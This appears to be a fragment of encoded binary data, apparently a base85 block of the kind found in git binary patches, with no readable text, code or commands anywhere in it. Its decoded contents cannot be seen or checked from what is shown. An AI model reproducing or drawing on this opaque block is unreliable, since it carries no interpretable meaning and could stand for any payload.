ztF^*F&1XfP`iG~$)$rG2Y3?mS88t7MO8Y$Tn=Mu}4y^EAXT zV3Da}1;!0_?;9p(cSahEX)aw7dWwaY9KYf&PeteuGF^Jjdc+1l07kJUYnIoRU2$7l zY}s`MjxKz5r`RCA(xRi09ofLO)zJRNSs<0nBU-B;T=Tw4LqZ(2r-0JKceWAhl~`GD zduP@w*gcg70dZ0cfp%&G3#`(c^jpnUdY^mE1H??+Sx!UOuFbmEFMBOZ`1Hp#TlP*TS8>p30qcXv*@?P)bXFjcH#^~5y%a?kVJ(c=K8UosD zp?taiLocO5zTQ@$-zvsFrxCev!=6{LDa!0<{F7{jD>*PFy7|JgJ`Q)fE#Lk!yDHOQ z2jYy4uVXYUCS|AeTIPtZnFFkI6Xn}?!L#`mLyfMNPC7k6*qr5&q1YjJ#2gWOepChW zRE8aKY%SlS(25#{cvd!A&gbI`n!6Lf92+mslu^%rym9_cPJNIqYegPTGG<9g`w@ap z&nDsS9jTSJ$9CR48mhp}Cs?OQX3tm5qgLVOYb^isxinfkFIaKu;{;)s-KMubvh_i} z9XYXd`Nc6JZlJsNV;v_T-lD6Ld~eA=Gt$mpk)Lm0I??m}{JdLrmTg~?scV)=weyt= zRnGalpKeTP$z!d7dNf;YM#(0T=Zwlf){i_A9GW^8wymLP+g*WgzJi&R^k#R(Tmz6& zzh#5-vZDq|UWr|Nagmy{eA~>I`-Q_XzdsjWIP=d=oy!ehwl15N7bd@GOKQn2YGs_ecj{s= zmP#?u-`i^Tscr7Gko?Y9qIELi0{l%uvQwTE1`w>(|`@fZw_g?^t{-?sV7(8acSL*hrdx1XOX4aH6(vradBOr-cL z=rxOu^g&GtP(StM=uLR2%84WV@o4V6Cdk_Q5)?h$;>caZ)qqJI2aw-8LXs=L%+ES4 zOAeCR*rOG>7t7|{<}$Cx+`11PM=T2Bh#qgYo7hpzNR79?rudzHZ5HwdUiI|{(WCo5 zgsq}4tR(OxFeu@2%MMZNI%)Z7cJ=-e_HxS8NZ>=%cU35C$-u6ng z81_yH+7z;5!TgWT6F!k1Laap;mh4?55E}Nxk%L0E@a{uxsD%I|%+SQdB%9Usk^cB2oySTP0`b)l1>>9U3 zm7Yr@;haVH@>@seC=7Z)M(gdB6Wdhc+f#K7+gps+L>)h1u81q#^P?_)?LW`{P?wy9 zlz{!2DDvY~J-yp$OSUDrC&00RKhBgy)SkC8Ckv-jk8 zIG#@l6zxs8Ui-Y5#&o{v5@j{}OzLNKyU*fYP61Q#`Hyp2ob_x5YvWL~u|2m@#?5%G z|Ge^JlUUdJb|uzTS5N{w8$=wM_9!ne@sLm3(3L(FEi3Hq%C!m2A(XixaS1Kc-a4?1 zrkyrS5w|*Q_|#t;FVcR!SLEWGIh8PYp(OuQu?=~HcHsR@(Luq)b}vB?D^0y4EXhlI zVI<#7@OC)FX|)^KqUv-Hr^Rxbp^M@1@1th3MhYl))$6tt&h<>DKl0g0_rEzY+XrN>X0hS~<0S9V{Sen_w7@1YGOlfcDY?D>W^LkGV-+m{)&c@l~oe_Ikaw*>ln zc$Ve%bvn2v{C5@%xsOe##R5YMAl!dr|HK}AP~O#WeFKF<1V5;Dc98EU1rQYU{nRpr zxJc)|;qvws1#;1N`($4+Y=sv4p9oRu?It`5Jt*%TZg@!we2WC-26eDbuGZQ7-L_UQ0q!mI53;ERQ15`YMUI~&qzfe zhM$~sNZ}IDB3NS(r=a@}wvF$hn}^soI*u#qO8q9^c1REP{C$o%e6Kr65BSGcQyp)1 zf%*7ccis3x3p-}UNT43KW1(+%&5}hL%1 zy3-m7O>v={GKp;5cPKXD4}(BKI0C$$durzEFi*kv;EMV3%!P)w&QNDKh1LyKw|*#K zjRH185&r2>jl|q*Tv#`4Der-=8gM&|BXuGRJrQ#yieu;TGTWJvf;yZ_s^~{&_^yre z1-2QIXAb5ecK>!S+q65Y;^+b;vcO8^`u&}E={Unt>EVd!*Xr7v z^uL0`QxOaH++>(POa7Q{y7{TS{9FVsWpRS(_YjV^iM-kD(BqhYuGp46j5!V689UK# zFkoD@T>$O7tU8k1E_s}+$z#DTZWvpNGeAnLk9~2{W)$fW8Kg|eYx&y222$n z8A`VGdCLEqn{~A9Y+;AH^~-{|2lI<)Lq=S2K>e2yyeudK)%}pUGtxuU>q{f=4LraINmyU`s5UT z!L_JLc7KhS{s>`Yl-$qyOK$Y;$0l|sQ1c09Fm52hKSQ2C))&O%3tt7;6aXo$zHh8O zQ87E4nh2+u{tjumRwJHPhI_5j!#6#lZP=GO`0Kbj%AU9_riwV+^#GRKzl!BY6gbx* zB$rTp*@SO4D3{^_c%TK-#$r@Wfu0VX7R5A^S`<*R3TXawIBVCk5$<DB*V6*uF);W)%1khr#%6ybHciItb9I)ETLNSSFUAv6G!a)p{hn%^t zwu>k(fDMQwK2f05$s7U=dZUPLDNHMRb+f6RinQTLqm=5-VT~5H_$FVLDx#9E-}#d& z@&zS*Y|k5yY5WL*?rtAtlle&UY#o)!yAyw>PTmYL3<~j40)MaASUlDM3!In*8M#$@ zFQZyK?g>Ar==Dlj_=U4&OYIk~;ZR=*h`x1WMMbFyUXji6Rkarr+s0sHW#ja=_EjzpNbmDm%y+KHSUU)Rk zCZrYew#QRvs4ir9<$%Ych}=jysN+&+7O$>IpT1bk{T*!P(+Wf`XrwO)RT0z*ne%j! zc!dVmyXKhZPZ-0B98r%O6@|Eqn$?E3*c6u>$s<`qI4^69)pO>uotw^QXEa}}_=XtD zZ_zM^G%8{YDQR~5U>f|wX=#HoW5g^ujDCDZz8{=;)Jn9iO zyD(z&?hIuW4p>TEI!C*QRDE*)wIUMP0~qUjU~O5gs*9|yo~H_eEU$n5an=Kn#&52I zSO`D=E%VBfr5fghR{>2yD9%y#wG&r-H57NEi?BEzU2cf$SMFY74h-ENa-cQjd^Eh?D?5;U}E}P?Z+^sAoCg(cWk1=96fORkRqEFpk za$I#Vm4i&-0$#S4Mute)-3pN4hXT>Kbfcz1na>fxbGXetIB*E(RPVNjf3F9cjfKur zboXRc+Zd0lXGa#R>FYbI4BsndGljqy9V0%h%5ltV~A2{fp;4{)d#nDjaxOhSocD*6pIB|Cyd5!tUvn>S}l!x#l}o95=; zmAlTC)4%g*XXTV3fXw58TR4oy5K8TJdL(n(nkBe?l)h3cxHACiiEzDov^{efW!FJR zfc#fZFF!+@K(T-)_(s48;uxDLapMRrIs(kr>eLAsPqeU}k*;r-G?10&jn$MyQRa2g z^HlE$N)hM2S(fIhAv2R+}mn3db?z*tr;GL)=&%wzNlxqXJ>sAbeKAw8TkYXd;O zC`3s$=(lg{9?yjGd5o`GN{yOol?2)f316ACIv!<6z^Fq~Ek(E$$+Q|dWe^}c^T3Tv zhQUYLFv|F-Wf;ge9OE#0h&%eO16J{%-;{=m*LS{udF}Qjvp-j%3Lg21+D9*o8Bjp3 zJx!YdtXqdLt^=-mYT}gKFjhh{y0WQRz)+|%Mx>TzYH+`tF(m}7F*i#|b2tc{&@f&i zczZQ5zY=1r!PF z3(DUY=l*mG}e@ba9}1)PXL_Ir~L` zSS7p16!(g#V+eU`lVc!nVT40K5r_PboN-kUy{?SVXiVQeyo%vsQ;SWqe?2_$XY0&>W}R6|+NhkQ$pHP7)Nd-C zDK#`3p|nmcU-&P5LQTcy(cKZ8qn42;WDE;&JP!O=$XLpZjVI9})DX75{Z&Bm(AdqK z!G_*;!t`w2WKe(XUZ#W)8UOBhAXvni`VJiL6*eJV2BcCtKbj>I%uU!Qc->g zh#{SUTm+gc!em6e9d-*=1)LW!4)E{;D*8r*@QFv&QNj1*j5a0YjCIyA8SzMwos2%J zg!CdLKa}*jK-Fm>v&Mov1Wj8i)U^rY8XKG!+~w#6SH2g{t5gYG|&2 zJ`P-kB5Mz6;nz27xeEJrIYg{OeE-PRWj9UM0PxE0Q>*9e(gehDB~@SU!L$OsaomI} z4l{&00pEOV7Bkr7s>fPJB#^aEaPhExL7f0*alpmE9E7LygF|(d>vM*UjS#p&z&HxP z*;8YubT^A9G{P|+?esmcS8Mc6O@4_mh6V8POeczxylgrBE{{6OVdQZ*W*n$aNskxc zG2?SpM+{r#Jc`hbRba(pxLISvFS5FBTcQjR< zGoVl*y;qIfVxnuMg=Z__=~{-I!{`=37UwBH6;xLxv@dJyZlbtBA5($V%=k={(aNhm(*dY8j3r89&e;AT0p2o*In=#3>lb(% zqC16w?~CXI9GJ=>{S=XdM6?Nk&Rik=?|y3&ZAQPl3s+utc}jH5NI_^EBsincWg(+j z1in8@f5khl&m+t+nQo|sRmFsripxF-*s~9sEvUhq<|HStzd9|OsV#5#j3yP;=03P_ z1{kBJzY_pNOr;d!3TJ^89q?Bk<0@sTkxI`zhhisRr$8B~5MuDClRW(BRsg4@xw~w0 z^I;k*p&H@ITg!2i2-!rfPq<1oZJT%MEI<+h#qx7pHPEJ>Z;XQVM;Ncq098W90m1)u zOB_NO6%a2Oc$C}*jWiFmow(Usbsqh;CbrEwBLkl%oH>+%*{_Ohx@g(Il}8{ zmB1A(Jy~;d2*3&CbhQXD_F^2E;`nh8of>mcj}Pq-GA{5oP5*KI4gi^`wvBUW3yi@A z8783s_fSR-Q(Zs8s7An>pWB!MBIY-GGyVVRrl$d5ZwY8e+r0V8g_<_dt>w{}8sx~~ zM)zBG{-xFkn8jl}SHlLv6(c;l7q}=8pbx9@&qBhAt-w_(`VML7 zgYK8%p+;z2L$e2>2Gw*v3VOPOi&e@s%XJM>+gX1kX5lIN9FXHmoZ=OK{|y)`VYQYX zf`D^ShCAI4wO>%k3SEj2y`sYLKL8FpAgVd zK5U607C*f4Kuh1I1)BF>_i?um;X`HebK-5xYuZRX&O?dvpW>s2CC-ei^1Fsiolzlu zOha3O&ib>YgC**)#vW>`Y2#YjH%_~5TFx;wy^}}zh%l}yyrE@`rvnS_s(rZH6~&jO zKbVXI3dl*QGbV^MRsz{7dYuZ0SJDSWIKHj}OAb{bjAQEb0zXGP5on@-`q4X%lCI+L zx23L30~O($h8Bo``dauCN*8FYJ_O@NeNPy+&%&S*4<(H~UsZHF?8hUZtV9`|%%%hFK$nIQfKvXdv2R8H zB*(ji=>@Oq9JK{&MF$v4V5fj_O$9J{r0)Wfy_Pbj#0MOqQ{~pZ6BTer+eQH+?5$bD zpL6?bNfQFH69-%-zrUvCe(YyEk6V#Kcfye-=94zPr{?yKHZ9k8e}b-AO!62%)%5=g z+$UB9_vLiCfCF(PM7@CfUM%!%=K zm`6~3VH5tc!}^Q@u@(l8lLBKwnMGI;*>80PHC*ZqK$Gv)LljTIieEZ10E4SJ_i z0Z<)uu0^XG1o>*`_yF)=ka2A@_;nt^j`?+ZIAKaabwbRSr9U56QanUC6p`LaRTEh_ z-RPZJ+P4@zA)z_;bA1|(#(7clcR5#%$-cw`3u)iAun7-8f$7vLJ)1cER~2=imqGZ{ z1il^EJ0)Z^^S-kL-AEC!fUIC8(cQgV1} z-G)Rty0+&+zUAK)UQ0KvvLKt;l0zz+Ptpx6{IVyNjgrGz6N^`=8$i5O*0HQsu3jpe z!!&RD_zP#<%+KjaOJuF+tdZfbe4DL5gWt4g7DWU^6{otUi*twX;rzshOigYQ7>`ml)b>^Ac_jyk@p6_d;d-=TC(F z+VArf^_wF;So#SkFMoLldspo!Z+uk(lTJRI8-xyQny(wNVn@w_N{3~VHVEE*(5ze`?$2~{mb&>@EnOrNi{N{H0jySeiQ<@VW5eL6@5+tx=QiO$! zt;uKkkaOpaIfWEkHTfue8uuYIe_*SF{=t%Mt~W|e!!Gj8(>piMWpA6B7@NzH8l;6< z@9NwO3V!RZHOi{j4U+7%m!D*3gvMcOtkG8a@+J=~;gD|68TJbL{Ifcb;i9>Bd|{*z zFyFd^k6*A{VD(Wpp6i}kZQ_{?8s-r8BCeETRm(oQ&*d{EOi85-X7mUhj;E%rJ7tm^ zx*`tT)X#5{FgRV+?1)H2RjydP4!^+ll0x{vY_t1Ah@9ycu5e4RC@jouwd#Wye@%v^ z2==!kEHTXLh+}xgDhgGY47fwT-_z!3?JpaF#XVI z4m%^e6&v>N`k7QP`?J;k>uc6ko{ z7I{rpA9tJ2DmYF@YCc%5jzqu1l1HCfuk({v`PRR^=&>zHhi4~82AqwPxa&pNV1Yo}gN5m;dG%`hv2R(Rja_ym=h~hHj`8OgN*7*@yL%Sgz9W$9gmZ@6HS07g800*kn!E0G?C=_W4|ojfb#n` z)DkPB_@;K;niU$N<&wEGqa$`@)FeHh z5^=mKUigm~2)JvQ%4@RPot6EPMb&D|zi~lQj9QEpiyOUqNblz`sXH62VCTt4J`XnM zEnlHZ`h)~GQ-ktStD8wvW^W0GR!Ymja)r?-S3)C1Dt2OPSmY|}-OL9Cr0|*`;CC~1g&G_g1`b5&O+~a^Rwa+g$@dQtOK|s^*rhcnHCh#}*ZJr; z{1AnW5KtFbS26qb3TbOO!(aVrJ)67iLkVzhFYoaRb(zt%3;C{FhvM=r8iE6o_RgeU z5Soq4r}&1?uU(AHPKRg8WuDgG7#O)od{Ry{i9N97@~jO}Ow8ymY1E?*30dC+Ay3Jt zD6x}}aXxb&eqf;J=H|8p4vdvgY%ax|f>k#2Uinuo$TciZc=xVC+825$>js?;u?*`y9QNa^p9DT4Yek*Z&q~uwOdve({UmB z1?biQ3`JKAZVa73ie$61~kh zWe*ihNBI;FWF2hC#m1)_(UbQg%tyVN7>PXTiVC`~>!kBV0>!sE4uNtSETE~xI7Uzm za+LET6z;?>j}uX@R~c%iZTBnt+y+lO+~aW0*kyM4u%(q?AHRvWC)#|s-bDF*K@f`0 zZ%Z&6Vajwls5AG#zqi-R(Pstd?rdHHJ1hh5(N(jp+ticQbzcg37GFv4oAN;e8J!<;nAL>A%(OG;OearwTTRX*Bz!3e*1}F6f)Hx%kUG z%`2|_{!3E-{SmhZObd6ne?(S>on_%*^sz6_LGdgUCTgmAsjeP zL7en*CcPa$LJON0WMF;JOs`{xj;J+Q55ZO*-179ER9bX~Mv#mULRR(veP1ay_-d|2OnKSq4aolG2I#?GHQ&BOV10X4vsmXw=fSAz*Ez(d-xCd#U3QaEXJt{y< zn+q?8G6gc5?8X5((ME*E|HQrSMd>VQE|+iy0SGtoEcF$C-KzU35Wx%B?WRHHkvL93j2@b{ zcm0CvxeFR5fU;k>v+2^p#}dL2%2&!VwKz8>EJ!9yAsVCUI%iH!%8q@ykTY>x; zUin)PUxO~owJKsNE6=e;8l%eRDokiIiwS2@$0%9$WFD!()8FkWVHhBC@g9fejiyDk zWB}9SR&%AUYB41WT`n>*L;X(NJQ$}XW=-bJ2+hy&lI^_*uo?=sDxgx~*>>ON8N$3w zrOZinolGL;Xl4BJL&xG!cE?)3AMvS@*LR)r&}LHek1&t8@yBa)~~YvXf|v_l8a z+zR}h2xqp*9D)0^=ODMRExUo>UJlumGpj?@RZ*9gv=WK6Fi<9-sKmW#X4xUrg2$Al zR?<5u$1LRG(ITm1d0r9|&ngGWFMii@P*;zyI z?}Gdl`R;OH(G}S;5xf|YWhrIzMHV$+gzl;Q&`|M=+ZNzei)d85Q-!{}O?Z!c8dC_7 zlYyB+VrnaBcw^xeFDR{0Hea#W$y#h#BXO;%i7b~mB9%M2IG?)UZA_AEb6B)CFDZ(+ zvm8HVQVtlR1y8o}6KZ6Ok{LmFXu+%KO!Pt$PbaONa9IE@*2>aq@@8=Iv&)HAqGP(D zm?@e+qa44r9NPnd&flJMZx#4-vtU)ZHYMALYpaFP?NWRGB3Oa*0;zjJe(ianzulUo1yIZ$c=okRo`NYjW#N?FWg-uhPJGA~BPSs>N0AhKUyM}?p2`JESyd5jHR zv&!1nf7mBh0_-l#6fIc%?O_&WezvdNNJZE*>*eA;&`BX#;1%qqSgfZ&YclK@!*dc; z#5G;Gc(1676@Y$revU9-rvaFLGoQkGXgRhowUwCCfbNnm=(ULLv(vi~g8w%fpsHCr zhYBpXrt?B&+1W(*^##)!PO+8Lxl7)LYGsQx-W2ux^(&{_L=|LZ%d&?KEYd7F5Ix%( zIgqWCeJdhnA^8L^sO}SL%g5TD2s=>&>zV>gI@XQD?-XJ;6)2?(&QuUHy9h~~1L|`q zTaiDn@_jmj?>2S(+ARU?@?-15hRh4;h;5pu#3RLdmNQiPoTKaXQ8bN z4psr|)_jnDEV@R#(!!|q;nKPfK!lb!>-%b^if&Mom+AH1{4T8jq<&qf%<>>{aSa$f z3~b1jJyqU1whjntmF3jrp;jISg+0Tyv0tOX{sTDcQ}~@4_%lmKFI#p)&HP-0T_el3 zzBpysLzsZgknZ?1-}+V}tKIBBcy%xIu35!K3As$Ej%u|)gZ^;^JqaMS0ZLWGLIl~T z!>Fg07#~$g;^KZ@enCo%GY-g~qSjcO@(-1 zO5C;WvMf#1*K^Wb4#9${3?>wqGEbB53bS~!$VqTkXT`#7;8o)b8cFOar)=dB4H{4* z1%7Lx46G%N7!t$^+`s3VwRXMIP~tY`vDHYpi2{hx%9e4(dft-s8e&jXf6SOURU^$2 zK0J#_6oP?*VeyQro-H*iG_E>MJQ!uw_mxvJQMb_5Hs$}H zyUkJL>-mJSyz&bV5{t%(?y6EDJ85DmQN+RRyDZJ^B4kYVZVk=P{VVfCFJ^0rJ167P z!MDGJ)pFTJ&f`TqJVVDqvfft7c@&F z4U$7g{*$?vW33SqHx_8jl1`Tc8-B`scv5~gY|A+vzYE(mu+Y1>y*ZlS0K2ior2>i$ zip${^STvL#jFxy$f<+l}GoIA9LF(2e=JTW9sbDLIZzf)8FLV#mm||zSG@wE1A_5tq zCOJa<(zV}>CMhItUJj=qcaAZB?OSgFJjE6rj%!58|7fY34wYPm*}~gQFKFYx)2YHS zS2RA}8S>L?_HBR>R^BW*c<3i_v1jH%Yn_m#-~E%n^EVf9h48&J9mi}qdo}3Cl+Zb8 zHhU!AEF&E*#vS5ji6G(JPEQOjs1dM*6T6HHhc2i49g@I~Pn+K=0ZZ5y$n*4)WK|m5 zhQfXsl(Y;LFRw(x0??zopvvR2&>8#fg*tTKP_3O9kjB&R^z>MrccIZF;abd11 zX;8LQZVI}n#sZX5e;_Yl2oigZ>AeT6CuK@YBj+0F{wdG{k;uugpAy{YSmZDyCCu%% z)JnOnhszqkW!Hfzu~5vD!vT{-2hme}@lrdCX)< zaes?N$;2Wb`u$9B>7aC)m&CUQeDEeswrQ-8_+w`m==X){l>0ggVY4nv1JdN_oZEkan9SXa!c#Aj6RBar)Eb>Oum^$b}=IoG{a= zbqkXN*+GfLMTT2OfywXPA6jk%sWYF15(e|_;!pFeAY6+zYpr%Af6W?-U&$T)W@LK) zIaYS^tpko*yV{5+jp$N!chyq}%z{MmZ>!iadorLzu;j5gE@w-?MBm;&dY z{j;VbZfCwdKgFPn|ICG}9kg0YL#s+nMrU^(2;t5XHE!O%nJX3&vLbtT*&8i;ftw1` znkS$|gvMBs6IWMi8Ftz@Z+irXpQ-=nKsUiHdZ>~Z5idI|`m9?ZUN^ColeBr+x|UUm z`c4HFgpg$g9|Cv2PHx1XHd(t=B(|G)c69E%i6p#5ashbkPbIFA^Nt%N&U`hm-*`ju z9fHI9HvW(DO%GC4T{y!S^kYTowSnjo`IUz(yp_Q@2^KJEY9+A*J1?BvsJ zy<(sLI^DB7&lktvsnmDXWO0A4Wj$pmi8+4F~=tqBibhC8$0x`1_DeKK6P zZMMJY&h;|8taQpqPKYj28Ev^@IR1fV+t7gs@lCdZiD%^c|NCtFkL)1Hr5hW8VBMqY zt4|nh5!=^yZQk?Fv%U1F#rndlt@6g3ET$Moeo>Wr@J;Oj3(vP@t39`N&R*m{C0e`v zWWdii#Y-3FjI62Mp}4c|MQp|>+#E1D^3}B+BJ5>sKlobp{=ZFXCaRR5zgLmYgw(F`?QulJ-j=bYY}5#B(NWlMm|pRWi65>NB6AMuvo!H|O~({94(~ zky53rUODWRA>L)&q|MJ)Jo84) zy@bYHNHaTG`R0=cB6j#*3m?l5jVydaF5e!S>vAIqmmq*swLkJepCO8q?85zo()^ zC6(Tq8E-aR!*E3t@ z3AT5I*)R8yOWX|NiD$=NYv?x=)?R%iD~=hV7%5tq7l&KxH#C!iO?gfIRxp=y=MNj? zJhi?X>H4X}@mW%LL)pTz?LYGQy=gc^uqV>*u=u%cSR_ z?5(?I7&x&aF)EHtIZn>Wm=YH9GN=7%j5DzS!sJ;*si~cLCukCy>J@VtOcT*2O-U8Ull$9$5zn<1# zD7y1;*3oUvL}J6WU)xh6PuRr1)blz^@c6Vt`tOSvI_s`UKysd;Umv}=yn2mJBV;PF z!*`|a>w9t%&lDau+EkZf%f;~uwNLDZsu;uzn^Nx_xk`2yf+T?|)Z{sU=L*52wV|m- zLN5OEi_4`3cC$-M+FEX zT&BcTLo{~Ra-zAqXvt>|wGIhBH+~`M6ZPh^?3Y>NH&Y`v&h>e7i}KxO=cm!(QoU3y z{@?2@@1CbEZwTM$?9TZ~9n868_VfbnSi>6&zxvZh-xc(1`F14b(vCL=g`|QnH$MLN zCHvCBx8oLGjripLkJF5sw`Ki1H0`feup8dA&y;F11^5I#nbLaXI0EYbjqWzoxZa_ zfw-g$ad@fA$f|=aKPm2!^*Y4xhLaYvheG@V+JW>p%(r_wJ)0vIKG~UW_GM(C;m+)Z z+JBC|IQ#RU@4b%}Y5T_CeWem}?+=!49QbkL3#sSUKaPO|w6@}&(Eo1En#or0 zbC^ii`x`sA#YB^}=ikLEEGMlu-u_T@{r2YtySH@F|BhYz_x8Y+gCNmG=t~s<>!bI9 zB$rZa-B2}g28t4SoJrlnG>h|k;-9Y>-c&4~oT4FbEpJ>_-T%9G{}ST1s6OJ5c8>ZI z+`W^hfZ%fEzpy;Em9&LQ5Of*e0L`m{;u zB2`G3>go!Kc`M(xuGu%NaeW2=#YlZveA|0c2QRc|UeCijZ${Rz>veiQo0R08RV+Wu z)_-l%HyTSl82ja2>||~ana%#{*z@+lO3DbQ-#fN3wS%$n<@IaFqYT+Y$71OZ=!SE8 z6#iD!ImXQR-g}3a(NfC!jU3(jaD$P(s?y_k+d29_*f(4&nHMW3_wU1Zp%{Fo=Mv;n z(Zo{RBMK49Tac@UTv3S$7bR^#Y3e5H3W;MzqnWzN;WnD&0+^Kqxi(1bw1q@lz&B&H zb6fDF#avP(vg<50c#HfaUjZql6kZYmDL^&n#&)~0*jCcGUY+n`j_khH_ z5DWUEQ)4R5{wB_jCVdx_c^R=R#2~Lm$9qi{k+OmfNZCA~I|IweB2aZOZlU5mhGt!m z;h5NMpwz+qJ~2f~ikA45bI8kLdS53PS6RL1#~4Jf)T;5MPmf%^Smpa%zD%i8N*{ht7tGQ=U6YQ1O?0v75GfnMMK$>-gS{~2(BS!g?iAt^BPCZrz9nEh_W`bi@01Pce%_UlnU8C2 z^b-Uz@}wTOkHt*@?wzntaH9kWiJ~g=U}M!9Ks69Z}U-gV=9FaN_aiz(|-O zK%zGw#N42Ww2ywt!3ORR=myfj5O`MgJ0EHg&UTJxPLpG2Bklo*kfFlmeV~^l%&mKc z^=&y`_z>|Mh7e4KY_wLw4!13aGuiaJ)rKAYX^Z0){Kr{PkoeAfaL%&9%&OkSCUNO$ z{d2#p{Js)WvLaWiSXLBE!%s+iR=g44x`{4F-$Bpjx2lQ0y z#=z^!#Jch(KNgHjRFMiBx#d&Xgnc7gAkBCG=($1c(H}f>1K&s9{HL(dPYzp|H?o)* z&nVV0D8Ly6S?mXl1rVdPFx~~&R39v;vR)p8b1-itQ-drNdBI{ypu3b6+1REt5RwP_ zmp5~;ZO;n!?*esxOU-V>0c}Bsk&W*CF!ysvbUDDzm6(|Gjr%43tmgG^Rj!k;SEpDv zD#*87nle9x*ai4bHuLIg3b=DqcjHGVW)qX82C4J$t&N;I6~@Tw^LEcGd$O(L46Sc4 z=ZA3n!Nfq16jk`St?`vr%bY^1Dn`W)TTE>OPxo)HKa(Awa@sm(;P9KUdiK0W4w*+% zvNj$+b9W@;=2S|yy>0C`>cVC3*yae#0)6CCGLnZgSAiT9j6vPoV8bv}w?Ei14B&P( zvt!Vib-_dtIMC#^X=%c9*Z+G_UG zl#??Ic64(JUJvd#*#C^|8WVKp!n8A=X45lsQqp&;r%y74&Wla?F6Nej}SzuU1!f`c_M!P^|n9 zo|Xd;tEK*4UjpkOZrDafWQf~jso~*Z-;Bn}SR-Ocg&AKrNSNxj&#Now^>Q0ZuExXr#e0}aq z?>qgb$X^?4UtawBdca2WWaS8{`uEG~U-nMsJ#Svb|Bs@3@n`D);{bln?q+Nl#%$(( z35|qY&)icnQ6bfaN`+P-;ag|smK5oxQVm^H%1Dw_8$wb|sg|TE^_5g3^;N0;&hHP{ zW=im9+@aL-I{Y{eX z2{y6UKT}dV7e#Zht*M>}|0;%=<(-HX>M8E@GHJljK;LwK4e2DUQp%R22?EFqK}rE< z%FciV-Z3aRxF#H3&Rd>IK##4+bdL62*cPBx)~+d zLE{%~m$Ik7qKZC;WvZTrJ+W9N7_pOFJX-xU%mue|<4@nSbLlmZsZ|>eOtf3FF{P^KzQraa3|^$IP2o2!|v(=^_m;sZKs3rRJH?IQp)g z-t8Przd-AaK>Mp?;!Y=p2I^2bZe)(e_^Wu@-pKUhAO1+a#GR;^f{)?bJP|9IBy-af z>JWs7+GKu|&d5|LrX2lc!U?k&Fsc`M#^f2zK}N91GabZC!c$j!B}M_>3g>Mv9r9J% z0%xcC`WB~#f?j9QMxTs!ThOV}^8+mEZ4NB(;&o(-dKWr?F)pMDyz&+9(5jiiLssLj4z@ zjtVMx0}@%Uy~a9iD4-6Z^9XTXoNXBL*wdqdrZFGs7u>M*nOkm*<9Y#)to2Ee7@c&E zem&Z!Rc2r!BgDhbPZ7eMqo2+(oCB7eOA3Nulfa9wWUqUDzT00;-RAdSt*&4Kd;R5A z`xRT8qC0m*Ty_usm40sJe>EqXmTIQXzkCyj+P-A-zZYE^!BwgMT;BO&T{HEi45iKxl0$(@J@ zOiXG$=m^`*qP;NZqR6Z8bCCOBr+YFwjOE<97GO6FmEP0F3<{rplx+*I4s~lgD;lX$H!Lr*Idyj?bCq}GlHOCb|7ARH zrV&qMtTQ`Tbk@dHV!g#B=i0`z^k0=HndyEuMjhLIM>gws%tbHANI&HAxS=^N7S=x8 zF^?j|#z16C3o@;Qn4aehp>2!7bs->j@|+0_n|P=@bzs=aL*y|ZxDeavHtzrHy+RxW zGhES*Cc;{3u=O>K#;5)ZlRItLs0Ai6C0oiEM7gGj=EvkwED8E^oh&$SVGP=l#Mvw@ ziLEbm@IoYLDgV^Ge>#wAIr>HUvRdnUdfa_|sY3V?sOf%xK%g~<44eN0N^g2V9QvZ|#AuH@KM-K$OCb!p~LTJGtMf}MvZ zrZ-OX=GYAXwj%8J@&r$!n^%-JGI2`@h$IVJ6v+_ z{4<+4y+?NW2sW(Z`YJb6J_@5{847Vn)uuR%u6O9{Mj0CE@%j7DEWig*7)|53Z?lgB zLJwN_6tZVk0lj6cknEVB+s_q|4KRPV03e7vYPcXR1=zM8yy1|@C=~5TGpGi+4m_^qsnoOHp;y1|(uI<`EV+9TA)~{)InELVk zliP=NNA{rqbtEa$R?AAT?kjg48{^+NXtChYt=Zbp-khI#8B1?&-FU1xh#npvw_u{@ z(h5;#)$D=|FZMg0*)Z(c{JyW{&z-9NSQq6;e#YaYr%vpg9F~+>%uhSfy#1(b?J&PaJ-sA-u37A_gg-3@jj>8R{uWz^X}a@KO|4* z&=1Ui`nm{iW9B71aPM@OH8WWL_dd_}7d5wj(UTI*hU?PiZ)^@J>UV?d^wOxZKnh6u z8c1E;we{ZbP-OJ<>nH5dd zR~x3RYF_^0pR{3%3!e>@FqSzRJ4wJTd?wOgt9TY+RA~5Sv3ogW6YpLpMrkK&thmpIn(L?mma;&z#c`4g>^ z&3cE|Zgtp|ROSfrOI*e%0l1Pc`o?c}9=~dMz9Oi_y_(2wrI`gdf8lKuySIw-G;G7= zHAwUw&Lg^bxZAaSIR85>$FA4@a~0OKN~P}5@-vz0(l2|SXCZ<3MNV13uTNLs{n?17 zdQM$9taGE2~;*fx7+8?T3zB?BjJlyJN9<$R2HnOnwx&;XZmO6*}A(i zn6^#-5+abX;@bK(|7Kh1PI_FR5V!ak!KN1>{a&-Oh;&e6-uPPJGhX`p)Z~`H&UKhs zWmz~NWc)V(7dDGsq|o7TA*%S+Up zQQ+7>cjN7IC~XfUDTe7D5DuU;lhzu&o@Ht}NJ&$yV34V5X&rDrfFoM4e$L$6e>)_t zwzigLnAE!&;5G%qG(2$wyJX8tBN1ijw=$A6$;VT)NR$&u(Q`g4LMp zURex;4OaN;mja^t=8fo=XFCi^<;ZYAIfgslVNfSQTc5WUi(b+UHQ*Sqpt^GNk|E-~mnAcPoYj<$K3Wh+E1snXUB4dxZ9<(xRA2 zwpOkm<5t}o(Qnwrh(XmKJm7Fgr1$+Apy4}kU{`-4;~ZNyQ`v*&N-UV)kmA}Bflx~& zK02$y+aA7f8k=6rJQLIHIWZ8W8x3GD#PslAP3_g0EG5W$LwqLrWlv5glBk*-#v`>^ z*{*i9v5TC6%VLu=ZBZtlCHOgiSZKz3$M}Zipqt^FMAe{CGodJbku2}y{xpq8>=f@u zQ+ti#0knlO-&6aycAQv>GB^&?Q$C`1Bu!gc+WPBd0nfYG5MzidoHrs|TE-KjiQ;?F z&!U7D`69+@+hXl14%uhvpc8||xANx+HF7(cS9+`M&?IzpSHRWm6;ma#!wH6;uCET= z2G}Oc(8&Fxmi9|2CUlf60BR_2Bq0vwP`9zXqo=$aZ7be}C(b2eR zC9vk>vw0Xg+`&96=-uQY-=9kwJDfyT{9%`Q?#EOz9WZ3?v$GiYw?u7aK zE9XEzamf6&T+p@Gg5gsPq1=Sz@N{@ym(m1lEfC_RN}Lv})3dD_X;4(6t`!%Vm^6Jw z#>mk+m%0K!nNHTv?`OWN~hP!mGWbz#YGWLWL6YU|T8%#(~wA5N=nN#mOK- 